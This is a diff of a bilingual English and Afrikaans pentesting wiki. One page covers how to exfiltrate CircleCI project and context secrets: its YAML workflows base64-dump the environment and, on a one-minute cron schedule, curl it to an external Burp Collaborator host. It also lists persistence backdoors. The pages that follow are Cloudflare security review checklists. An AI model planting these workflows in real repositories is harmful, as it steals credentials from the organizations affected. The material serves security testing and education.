Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes gedefinieer in die dokumentasie**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
#### Duidelike teks
|
||||
|
||||
Jy kan hulle in duidelike teks binne 'n **opdrag** verklaar:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
U kan dit in duidelike teks binne die **run environment** verklaar:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
Jy kan hulle in duidelike teks binne die **build-job omgewing** verklaar:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
Jy kan hulle in duidelike teks binne die **omgewing van 'n houer** verklaar:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Projek Geheime
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
Dit is **geheime** wat slegs **toeganklik** gaan wees deur die **projek** (deur **enige tak**).\
|
||||
Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**.
|
||||
|
||||
#### Context Secrets
|
||||
#### Konteks Geheime
|
||||
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
Dit is geheime wat **organisasie wyd** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
> Let egter daarop dat 'n ander groep (in plaas van Alle lede) kan wees **geselekteer om slegs toegang tot die geheime aan spesifieke mense** te gee.\
|
||||
> Dit is tans een van die beste maniere om die **veiligheid van die geheime** te **verhoog**, om nie te laat dat almal toegang het nie, maar net sommige mense.
|
||||
|
||||
### Attacks
|
||||
### Aanvalle
|
||||
|
||||
#### Search Clear Text Secrets
|
||||
#### Soek Duidelike Teks Geheime
|
||||
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
As jy **toegang het tot die VCS** (soos github) kyk na die lêer `.circleci/config.yml` van **elke repo op elke tak** en **soek** na potensiële **duidelike teks geheime** wat daar gestoor is.
|
||||
|
||||
#### Secret Env Vars & Context enumeration
|
||||
#### Geheim Env Vars & Konteks enumerasie
|
||||
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Deur die kode na te gaan kan jy **alle geheime name** vind wat in elke `.circleci/config.yml` lêer **gebruik** word. Jy kan ook die **konteks name** van daardie lêers kry of hulle in die webkonsol nagaan: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrate Project secrets
|
||||
#### Ekstrakteer Projek geheime
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
> Ten einde **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_).
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**. Daarom kan 'n aanvaller **alle projekvariabels van al die repos** **importeer** en dan **almal saam ekstrakteer**.
|
||||
|
||||
Alle projek geheime is altyd in die omgewing van die werksgeleenthede ingestel, so net deur om omgewing aan te roep en dit in base64 te obfuskeer, sal die geheime in die **werkvloei weblogkonsol** geëkstrakteer word:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Exfiltreer Konteks Geheime
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
Jy moet **die konteksnaam spesifiseer** (dit sal ook die projekgeheime eksfiltreer):
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei aanpas** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres stuur**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer** nie. Jy moet dit **as 'n projek in die circleci konsole aktiveer**.
|
||||
|
||||
#### Escape to Cloud
|
||||
#### Ontsnap na die Wolk
|
||||
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie te laat loop**.\
|
||||
Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie iets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind.
|
||||
|
||||
Let daarop dat in die vorige voorbeelde alles binne 'n docker houer gelanseer is, maar jy kan ook **vra om 'n VM masjien te lanseer** (wat dalk verskillende wolk toestemmings kan hê):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
Of selfs 'n docker-container met toegang tot 'n afstands-docker-diens:
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
#### Volharding
|
||||
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang tot die API-eindpunte met die gebruikers se toegang te verkry.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- Dit is moontlik om **projektokens** te **skep** om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Dit is moontlik om **SSH-sleutels** aan die projekte toe te voeg.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Dit is moontlik om 'n **cron-taak in 'n verborge tak** in 'n onverwagte projek te **skep** wat elke dag al die **context env** vars **lek**.
|
||||
- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die konteks en **projeksecrets** sal **lek**.
|
||||
- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **agterdeur** konfigureer.
|
||||
- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** deur sy waarde te **wysig** **injekteer**.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Cloudflare Security
|
||||
# Cloudflare Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In 'n Cloudflare-rekening is daar sommige **algemene instellings en dienste** wat gekonfigureer kan word. Op hierdie blad gaan ons die **sekuriteitsverwante instellings van elke afdeling** ontleed:
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
## Webwerwe
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -14,9 +14,9 @@ Review each with:
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
### Domain Registration
|
||||
### Domeinregistrasie
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- [ ] In **`Transfer Domains`** maak seker dat dit nie moontlik is om enige domein te oordra nie.
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -24,41 +24,47 @@ Review each with:
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Analytics
|
||||
## Analise
|
||||
|
||||
_I couldn't find anything to check for a config security review._
|
||||
_Ik kon niks vind om na te gaan vir 'n konfigurasie-sekuriteitsbeoordeling nie._
|
||||
|
||||
## Pages
|
||||
|
||||
On each Cloudflare's page:
|
||||
Op elke Cloudflare Pages blad:
|
||||
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- [ ] Kyk vir **gevoelige inligting** in die **`Build log`**.
|
||||
- [ ] Kyk vir **gevoelige inligting** in die **Github repository** wat aan die pages toegewys is.
|
||||
- [ ] Kyk vir potensiële github repo kompromittering deur middel van **workflow command injection** of `pull_request_target` kompromittering. Meer inligting op die [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Kyk vir **kwetsbare funksies** in die `/fuctions` directory (indien enige), kyk na die **redirects** in die `_redirects` file (indien enige) en **verkeerd gekonfigureerde headers** in die `_headers` file (indien enige).
|
||||
- [ ] Kyk vir **kwetsbaarhede** in die **web page** via **blackbox** of **whitebox** indien jy toegang tot die kode het.
|
||||
- [ ] In die besonderhede van elke bladsy `/<page_id>/pages/view/blocklist/settings/functions`. Kyk vir **gevoelige inligting** in die **`Environment variables`**.
|
||||
- [ ] In die details bladsy kyk ook na die **build command** en **root directory** vir **potensiële injections** om die bladsy te kompromitteer.
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- [ ] Die triggers: Wat laat die worker trigger? Kan 'n **gebruiker data stuur** wat deur die worker **gebruik** sal word?
|
||||
- [ ] In die **`Settings`**, kyk vir **`Variables`** wat **gevoelige inligting** bevat
|
||||
- [ ] Kyk na die **code van die worker** en soek na **kwetsbaarhede** (veral op plekke waar die gebruiker die input kan beheer)
|
||||
- Kyk vir SSRFs wat die aangewese blad teruggee wat jy kan beheer
|
||||
- Kyk vir XSSs wat JS uitvoer binne 'n svg image
|
||||
- Dit is moontlik dat die worker met ander interne dienste interaksie het. Byvoorbeeld, 'n worker mag met 'n R2 bucket kommunikeer en inligting daarin stoor wat uit die input verkry is. In daardie geval sal dit nodig wees om te kyk watter vermoëns die worker oor die R2 bucket het en hoe dit misbruik kan word via die gebruiker se input.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
> Let wel dat standaard 'n **Worker 'n URL gekry** soos `<worker-name>.<account>.workers.dev`. Die gebruiker kan dit op 'n **subdomain** stel, maar jy kan dit altyd met daardie **oorspronklike URL** bereik as jy dit ken.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- [ ] Konfigureer die **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -70,8 +76,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- [ ] Indien moontlik, voer 'n **`Security Insights`** **scan** en 'n **`Infrastructure`** **scan** uit, aangesien dit interessante sekuriteitsverwante inligting sal uitlig.
|
||||
- [ ] Kontroleer net hierdie inligting vir sekuriteitsmisluiings en interessante inligting
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -88,50 +94,47 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- [ ] Maak seker dat die **expressies** en **vereistes** vir redirects sin maak.
|
||||
- [ ] Kyk ook vir **gevoelige verborge endpoints** wat interessante inligting kan bevat.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] Kyk na die **notifications.** Hierdie notifications word vir sekuriteit aanbeveel:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Kyk na al die **destinasies**, aangesien daar **gevoelige inligting** (basic http auth) in webhook urls kan wees. Maak ook seker webhook urls gebruik **HTTPS**
|
||||
- [ ] As ekstra kontrole kan jy probeer om 'n **cloudflare notification** na 'n derde party te imiteer; miskien kan jy op 'n of ander manier iets gevaarliks **inject**.
|
||||
|
||||
## Manage Account
|
||||
## Bestuur Rekening
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **vervaldatum** en **faktureringsadres** te sien in **`Billing` -> `Payment info`**.
|
||||
- [ ] Dit is moontlik om die **plan tipe** wat in die rekening gebruik word te sien in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, net 2 rolle bestaan: Administrator en Super Administrator. Maar as die gebruikte **plan Enterprise is**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kan gebruik word om die minste voorreg-principe te volg.
|
||||
- Daarom word dit, waar moontlik, **aanbeveel** om die **Enterprise plan** te gebruik.
|
||||
- [ ] In Members is dit moontlik om te sien watter **members** 2FA aangeskakel het. **Elke** gebruiker behoort dit aangeskakel te hê.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
> Let wel dat gelukkig die rol **`Administrator`** nie toestemmings gee om lede te bestuur nie (**kan nie voorregte eskaleer of nuwe lede nooi nie**)
|
||||
|
||||
## DDoS Investigation
|
||||
## DDoS Ondersoek
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Kyk na hierdie deel](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,126 +1,126 @@
|
||||
# Cloudflare Domains
|
||||
# Cloudflare Domeine
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **generiese instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
### Oorsig
|
||||
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
- [ ] Kry 'n gevoel van **hoeveel** die dienste van die rekening **gebruik** word
|
||||
- [ ] Vind ook die **zone ID** en die **rekening ID**
|
||||
|
||||
### Analytics
|
||||
### Analise
|
||||
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
- [ ] In **`Veiligheid`** kyk of daar enige **Tariefbeperking** is
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
- [ ] Kyk na **interessante** (sensitiewe?) data in DNS **rekords**
|
||||
- [ ] Kyk vir **subdomeine** wat **sensitiewe inligting** kan bevat net gebaseer op die **naam** (soos admin173865324.domin.com)
|
||||
- [ ] Kyk vir webbladsye wat **nie** **geproksieer** is nie
|
||||
- [ ] Kyk vir **geproksieerde webbladsye** wat direk deur CNAME of IP-adres **toegang kan verkry** word
|
||||
- [ ] Kyk dat **DNSSEC** **geaktiveer** is
|
||||
- [ ] Kyk dat **CNAME Flattening** in **alle CNAMEs** **gebruik** word
|
||||
- Dit kan nuttig wees om **subdomein oorneem kwesbaarhede** te **versteek** en laai tyds te verbeter
|
||||
- [ ] Kyk dat die domeine [**nie kwesbaar is vir spoofing nie**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
### **E-pos**
|
||||
|
||||
TODO
|
||||
|
||||
### Spectrum
|
||||
### Spektrum
|
||||
|
||||
TODO
|
||||
|
||||
### SSL/TLS
|
